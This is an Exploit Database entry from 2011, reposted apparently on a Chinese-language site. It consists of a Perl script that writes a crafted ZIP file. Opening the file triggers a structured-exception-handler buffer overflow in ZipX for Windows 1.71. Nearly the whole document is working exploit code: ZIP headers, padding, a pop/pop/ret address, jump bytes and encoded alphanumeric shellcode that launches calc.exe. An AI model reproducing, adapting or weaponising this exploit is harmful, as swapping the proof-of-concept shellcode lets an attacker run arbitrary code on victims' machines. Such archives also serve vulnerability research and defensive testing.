ZipX 1.71 – ‘.ZIP’ File Buffer Overflow

Exploit Database
118 阅读

作者： C4SS!0 G0M3S

日期： 2011-09-05
类别：
- local
平台：
- windows
来源：https://www.exploit-db.com/exploits/17783/

#!/usr/bin/perl

#[+]Exploit Title: ZipX for Windows v1.71 ZIP File Buffer Overflow Exploit

#[+]Date: 05\09\2011

#[+]Author: C4SS!0 G0M3S

#[+]Software Link: http://download.cnet.com/ZipX/3000-2250_4-10518937.html

#[+]Version: v1.71

#[+]Tested On: WIN-XP SP3 Brazilian Portuguese

#[+]CVE: N/A

#Reproduce:

#Open the zip file, after click in "Encrypt", type you password and click in "Ok" BOOM!!!

#See the calc.exe

use strict;

use warnings;

my $filename = "Exploit.zip";

print "\n\n\t\tZipX for Windows v1.71 ZIP File Buffer Overflow Exploit\n";

print "\t\tCreated by C4SS!0 G0M3S\n";

print "\t\tE-mail louredo_\@hotmail.com\n";

print "\t\tSite http://net-fuzzer.blogspot.com/\n\n";

sleep(1);

print "\t\t[+]Creating ZIP File...\n";

sleep(1);

my $head = "\x50\x4B\x03\x04\x14\x00\x00".

"\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" .

"\x00\x00\x00\x00\x00\x00\x00\x00" .

"\xe4\x0f" .

"\x00\x00\x00";

my $head2 = "\x50\x4B\x01\x02\x14\x00\x14".

"\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" .

"\x00\x00\x00\x00\x00\x00\x00\x00\x00".

"\xe4\x0f".

"\x00\x00\x00\x00\x00\x00\x01\x00".

"\x24\x00\x00\x00\x00\x00\x00\x00";

my $head3 = "\x50\x4B\x05\x06\x00\x00\x00".

"\x00\x01\x00\x01\x00".

"\x12\x10\x00\x00".

"\x02\x10\x00\x00".

"\x00\x00";

my $shellcode =

"PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIHZXL9ID414ZTOKHI9LMUK" .

"VPZ6QO9X1P26QPZTW5S1JR7LCTKN8BGR3RWS9JNYLK79ZZ165U2KKLC5RZGNNUC70NEPB9OUTQMXPNMM" .

"PV261UKL71ME2NMP7FQY0NOHKPKZUDOZULDS8PQ02ZXM3TCZK47PQODJ8O52JNU0N72N28MZKLTNGU7Z" . # Shellcode WinExec "calc.exe"

"UXDDXZSOMKL4SQKUNKMJPOOCRODCMDKR0PGQD0EYIRVMHUZJDOGTUV2WP3OIVQ1QJSLSKGBLYKOY7NWW" . # Alpha Numeric Shellcode BaseAddress EAX

"LNG6LBOM5V6M0KF2NQDPMSL7XT80P61PBMTXYQDK5DMLYT231V649DZTPP26LWSQRLZLQK15XUXYUNP1" .

"BPF4X6PZIVOTZPJJRUOCC3KD9L034LDOXX5KKXNJQMOLSJ6BCORL9WXQNKPUWNKRKJ8JSNS4YMMOHT3Z" .

"QJOHQ4QJUQLN1VSLV5S1QYO0YA";

my $payload = "A" x 330;

$payload .=

("\x66\x05\x4D\xCD" x 4).

"\x66\x05\x19\x18". # ADD AX,1819

"\x54\x5A\x50\x5B". # PUSH ESP # POP EDX # PUSH EAX # POP EBX

"\x2B\xE0". # Afer convertion SUB EDX,EBX

"\x52\x58". # PUSH EDX # POP EAX

"\x98\xd1"; # CALL EAX

$payload .= "C" x (371-length($payload));

$payload .= "\x3C\x01\x75\xd1"; # Converted is that "\x3c\x04\x75\xd0"

$payload .= pack('V',0x0041334d); # P/P/RET

$payload .= $shellcode;

$payload .= "B" x (4064-length($payload));

$payload = $payload.".rar";

my $zip = $head.$payload.$head2.$payload.$head3;

open(FILE,">$filename") || die "\t\t[-]Error:\n$!\n";

print FILE $zip;

close(FILE);

print "\t\t[+] ZIP File Created With Sucess:)\n";

sleep(3);